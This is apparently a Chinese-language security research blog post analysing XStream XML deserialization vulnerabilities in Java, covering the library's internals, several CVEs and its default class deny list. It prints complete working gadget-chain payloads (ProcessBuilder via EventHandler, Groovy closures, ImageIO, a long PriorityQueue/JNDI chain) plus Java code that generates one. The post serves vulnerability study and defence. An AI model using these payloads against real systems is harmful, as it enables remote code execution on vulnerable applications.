XStream 反序列化
XStream 反序列化
XStream可以将Java对象序列化成XML,也能将XML数据反序列化成Java对象。
既然XStream能够将XML数据转换成Java对象,那么当XML数据可控,在构建Java对象时就可能会出现问题。
XStream基础
序列化和反序列化功能分别为toXML和fromXML函数。
Person p = new Person("JrXnm");
p.print();
XStream xs = new XStream();
String xml = xs.toXML(p);
System.out.println(xml);
Person pp = (Person) xs.fromXML(xml);
pp.print();
XStream源码结构
详细内容主要学习来自这里, 下面介绍一些关键内容。
XStream中几个关键的组件:
Mapper: 将XML的节点名与类对象进行映射。
ConverterLookup :根据mapper获取到的类对象,调用lookupConverterForType获取对应类的Converter,将其转化成对应实例对象。
MarshallingStrategy :解组编组策略。其中TreeUnmarshaller可以调用mapper和Converter把XML转化成java对象。
所以XStream将xml转换成java对象的整个过程就是:

Converters
对不同对象XStream应用不同的Converter转换。XStream实现了非常多的Converters,
在wh1t3p1g师傅的文章中介绍了几种重要的Converter:MapConverter,TreeSet/TreeMapConverter、DynamicProxyConverter。
其中MapConverter是对Map类型对象进行转换,会调用其hashcode方法。
TreeSet/TreeMapConverter是对TreeSet/TreeMap对象的转换,这个过程会调用compareTo方法。
DynamicProxyConverter是对动态代理进行的转换。
XStream漏洞利用分类
XStream允许序列化内部字段和内部类,包括private和final,是因为对于对象的构建XStream是通过反射实现的。所以对于FastJson中一些使用getter、setter才能利用的链,XStream无法利用。
无论是否实现了Serializable接口XStream都可以正常序列化与反序列化,但是对于实现了Serializable接口的类,XStream也会调用其readObject方法,就像普通的反序列化一样。
再者,与常规的反序列化链一样,HashMap
、PriorityQueue
、TreeSet/TreeMap
等对象在反序列化时在read通常会调用hashCode
、equal
、compareTo
等方法确保键值唯一,这样的话在XStream反序列化时也能调用这些方法。
所以根据上述的原理,我将XStream漏洞利用方法分为以下几类。
- 直接利用现存已有的反序列化链比如cc1,cc2,cc3等。
- 寻找XStream在构建对象时会触发的方法,并找到利用链。
- 根据XStream可以序列化反序列化限制类的特性,找到新链。
XStream漏洞利用
利用现有反序列化链
直接调用yso的链。
package ysoserial.payloads.mytest;
import ysoserial.payloads.CommonsCollections2;
import com.thoughtworks.xstream.XStream;
public class testXstream{
public static void main(String[] args) throws Exception {
Object cc2 = new CommonsCollections2().getObject("calc");
XStream xs = new XStream();
String xml = xs.toXML(cc2);
System.out.println(xml);
xs.fromXML(xml);
}
}
XStream中的新链
EventHandler(CVE-2013-7285&&CVE-2019-10173)
在wh1t3p1g师傅讲得很清楚了。我们知道动态代理是由实现InvocationHandler接口的类invoke函数实现的。EventHandler实现了InvocationHandler接口。它的invoke函数可以任意调用某些类的特定方法。这样反序列化得对象执行任何方法时都会执行动态代理得invoke方法。
其中方法名不为:hashcode、equals、toString。且无参数或者单个参数,且参数的类型为Comparable
。
根据上面的基础知识,我们可以使用TreeSet/TreeMap
对象在反序列化时自动调用compareTo方法得特性触发。
下面是几种payload构造方法。
TreeSet:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
TreeMap:
<tree-map>
<entry>
<string>foo</string>
<string>111</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string></string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>123</string>
</entry>
</tree-map>
rmi方法:
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>rmi://127.0.0.1:9999/xxx</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
</target>
<action>getDatabaseMetaData</action>
</handler>
</dynamic-proxy>
<string>123</string>
</entry>
</tree-map>
Groovy ConvertedClosure
和ysoserial中的Groovy1类似,ConvertedClosure实现了InvocationHandler,而在它的invoke函数中可以触发到恶意函数。在反序列化链分析的这篇文章中,我们提到了动态代理执行的函数不能为hashcode、equals、toString等。
在这里我们用到的是TreeSet/TreeMap调用的compareTo。因为XStream可以反序列化未实现无论是否实现了Serializable接口的类,所以这里我们可以利用Runtime.exec
查看payload。
<sorted-set>
<string>calc</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.codehaus.groovy.runtime.ConvertedClosure">
<delegate class="org.codehaus.groovy.runtime.MethodClosure">
<delegate class="java.lang.Runtime"/>
<owner class="java.lang.Runtime" reference="../delegate"/>
<method>exec</method>
</delegate>
<handleCache/>
<methodName>compareTo</methodName>
</handler>
</dynamic-proxy>
</sorted-set>
Groovy Expando
上面都是用了compareTo方法,这条链用的是hashcode方法,即HashMap类型。

简单分析就能发现又执行到了MethodClosure.call中,不过这次和上面相比,没有参数。无参就可以直接利用groovy1的方法,直接执行或者用ProcessBuilder。类似下面
MethodClosure m = new MethodClosure("calc", "execute");
// MethodClosure m = new MethodClosure(new ProcessBuilder("calc"), "start");
Expando exp = new Expando();
exp.setProperty("hashCode",m);
HashMap h = new HashMap();
h.put(exp, 123);
最后xml的payload
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="string">calc</delegate>
<owner class="string">calc</owner>
<method>execute</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<groovy.util.Expando />
</entry>
</map>
ImageIO(CVE-2020-26217)
这条链利用的也是HashMap自动调用hashCode方法的触发点,链路比较长如下图, 能把这么长的链勾连起来着实不容易。

最后的payload:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command class="java.util.Arrays$ArrayList">
<a class="string-array">
<string>calc</string>
</a>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString />
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString />
<jdk.nashorn.internal.objects.NativeString />
</entry>
</map
ServiceLoader$LazyIterator
这条链共用了上条链的前大部分过程,在调用到下面部分时,this.serviceIterator
为Iterator对象。

在java.util.ServiceLoader$LazyIterator
类的next方法中会调用Class.forName
, 其中ClassName和loader都可控,可以利用以前BCEL的classLoader会把className内容当字节码加载的gadget实现getshell。

注意虽然Class.forName
的第二个参数为false无法加载类的静态块,但是在后续实例化了这个类,所以可以在无参构造函数里插入恶意代码。
payload 构造方法参考wh1t3p1g师傅的ysomap。
其他利用链
官网列出了后面所有的公开链,都是以XStream可以反序列化未实现Serializable接口的类这个特性。师傅们找出了很多很强的有意思的链。
CVE-2021-21344/CVE-2021-21345
这条链很强,很长的一条链,从PriorityQueue的readObject调用compare作为入口点,直到com.sun.xml.internal.bind.v2.runtime.reflect.Accessor.GetterSetterReflection的get方法进行了反射调用。关键点在于Accessor.GetterSetterReflection类虽然未实现Serializable接口,但是仍然可以反序列化使用。
下面是我根据师傅们的payload和ysomap构建的payload生成方式。可以看出来是很复杂的。 21344是在最后的反射调用jndi,21345是利用com.sun.corba.se.impl.activation.ServerTableEntry
处的命令执行,我测试的时候使用的是1.4.6版本的没有ban掉ProcessBuilder,所以也可以直接用ProcessBuilder.start直接执行命令。

class CVE21344 {
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in1 = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in1);
return objIn.readObject();
}
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(out);
oout.writeObject(o);
return out.toByteArray();
}
static void main(String[] args) {
XStream xs = new XStream();
String xml = getXml();
//xs.fromXML(xml);
Object o = getObject();
String xml1 = xs.toXML(o);
System.out.println(xml1);
xs.fromXML(xml1);
}
static Object getObject(){
JAXBContextImpl.JAXBContextBuilder bb = new JAXBContextImpl.JAXBContextBuilder();
JAXBContextImpl jbc = getNewInstances(JAXBContextImpl.class);
NameList nl = getNewInstances(NameList.class);
setFieldValue(nl, "namespaceURIs", new String[0]);
setFieldValue(nl, "localNames", new String[0]);
setFieldValue(jbc, "nameList", nl);
Class clazz2 = Class.forName("com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl\$1");
Object o4 = getNewInstances(clazz2);
setFieldValue(o4, "this\$0", jbc);
setFieldValue(jbc, "marshallerPool", o4);
Method m = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Accessor.GetterSetterReflection ag = getNewInstances(Accessor.GetterSetterReflection.class);
setFieldValue(ag, "getter", m);
ClassBeanInfoImpl jbi = getNewInstances(ClassBeanInfoImpl.class);
setFieldValue(jbi, "jaxbType", JdbcRowSetImpl.class);
setFieldValue(jbi, "uriProperties", new ValueProperty[0]);
setFieldValue(jbi, "inheritedAttWildcard", ag);
Class clazz1 = Class.forName("com.sun.xml.internal.bind.v2.runtime.BridgeImpl");
Bridge oo2 = (Bridge) getNewInstances(clazz1);
setFieldValue(oo2, "context", jbc)
setFieldValue(oo2, "bi", jbi);
BridgeWrapper bw = new BridgeWrapper(null, oo2);
JdbcRowSetImpl jdbc = getNewInstances(JdbcRowSetImpl.class);
setFieldValue(jdbc, "dataSource", "rmi://127.0.0.1:9999/xxxx");
JAXBAttachment jax = new JAXBAttachment("xx", jdbc, bw, null);
Message msg = getNewInstances(XMLMessage.XMLMultiPart.class);
setFieldValue(msg, "dataSource", jax);
Class clazz = Class.forName("com.sun.xml.internal.ws.api.message.MessageWrapper");
Message mm = getNewInstances(clazz);
setFieldValue(mm, "delegate", msg);
Packet p = getNewInstances(Packet.class)
p.setMessage(mm);
setFieldValue(p, "satellites", new HashMap());
setFieldValue(p, "invocationProperties", new HashMap());
ResponseContext r = getNewInstances(ResponseContext.class);
setFieldValue(r, "packet", p);
Comparator d = getNewInstances(DataTransferer.IndexOrderComparator.class);
setFieldValue(d, "indexMap", r);
PriorityQueue pp = new PriorityQueue();
setFieldValue(pp, "comparator", d);
Object [] ooo = new Object[2];
ooo[0] = "javax.xml.ws.binding.attachments.inbound";
ooo[1] = "javax.xml.ws.binding.attachments.inbound";
setFieldValue(pp, "queue", ooo);
setFieldValue(pp, "size", 2);
return pp;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
}
static <T> T getNewInstances(Class <T> clazz){
Constructor cc3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
Object.getDeclaredConstructor())
cc3.setAccessible(true);
return (T) cc3.newInstance();
}
}
下面的调用图就是最后利用ProcessBuilder.start执行命令的链。

下面是我生成的payload:
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
<order>false</order>
<indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
<packet>
<satellites/>
<message class="com.sun.xml.internal.ws.api.message.MessageWrapper">
<messageMetadata class="com.sun.xml.internal.ws.api.message.Packet" reference="../.."/>
<delegate class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
<messageMetadata class="com.sun.xml.internal.ws.api.message.Packet" reference="../../.."/>
<dataSource class="com.sun.xml.internal.ws.message.JAXBAttachment">
<contentId>xx</contentId>
<jaxbObject class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>0</concurrency>
<escapeProcessing>false</escapeProcessing>
<fetchDir>0</fetchDir>
<fetchSize>0</fetchSize>
<isolation>0</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>false</readOnly>
<rowSetType>0</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:9999/xxxx</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
<bridge class="com.sun.xml.internal.ws.db.glassfish.BridgeWrapper">
<bridge class="com.sun.xml.internal.bind.v2.runtime.BridgeImpl">
<context>
<marshallerPool class="com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1">
<outer-class reference="../.."/>
</marshallerPool>
<nameList>
<namespaceURIs/>
<localNames/>
<numberOfElementNames>0</numberOfElementNames>
<numberOfAttributeNames>0</numberOfAttributeNames>
</nameList>
<c14nSupport>false</c14nSupport>
<xmlAccessorFactorySupport>false</xmlAccessorFactorySupport>
<allNillable>false</allNillable>
<retainPropertyInfo>false</retainPropertyInfo>
<supressAccessorWarnings>false</supressAccessorWarnings>
<improvedXsiTypeHandling>false</improvedXsiTypeHandling>
<disableSecurityProcessing>false</disableSecurityProcessing>
<hasSwaRef>false</hasSwaRef>
<fastBoot>false</fastBoot>
</context>
<bi class="com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl">
<isNilIncluded>false</isNilIncluded>
<flag>0</flag>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<inheritedAttWildcard class="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection">
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
<retainPropertyInfo>false</retainPropertyInfo>
<uriProperties class="com.sun.xml.internal.bind.v2.runtime.property.ValueProperty-array"/>
</bi>
</bridge>
</bridge>
</dataSource>
</delegate>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<invocationProperties/>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
其他
其他链从cve从21346-21351都是类似的,m0d9师傅和这篇文章都介绍了。我们这里就不详细分析了。
XStream安全措施
目前看来XStream的安全措施是允许用户设置白名单,系统默认黑名单。下面是1.4.17默认的黑名单。
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(AnyTypePermission.ANY);
this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"});
this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, LAZY_ENUMERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVA_RMI, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL});
this.denyTypeHierarchy(InputStream.class);
this.denyTypeHierarchyDynamically("java.nio.channels.Channel");
this.denyTypeHierarchyDynamically("javax.activation.DataSource");
this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet");
this.allowTypeHierarchy(Exception.class);
this.securityInitialized = false;
}
总结
XStream因其特殊的反序列化方式,从而让反序列化链构造面增大了很多,师傅们就开始了喜闻乐见的bypass blacklist的挖链活动了XD。
ref
https://github.com/wh1t3p1g/ysomap
https://www.anquanke.com/post/id/204314
https://www.jianshu.com/p/387c568faf62
http://m0d9.me/2021/05/08/Xstream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89/
http://m0d9.me/2021/05/10/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%BA%8C%EF%BC%89/
https://paper.seebug.org/1543/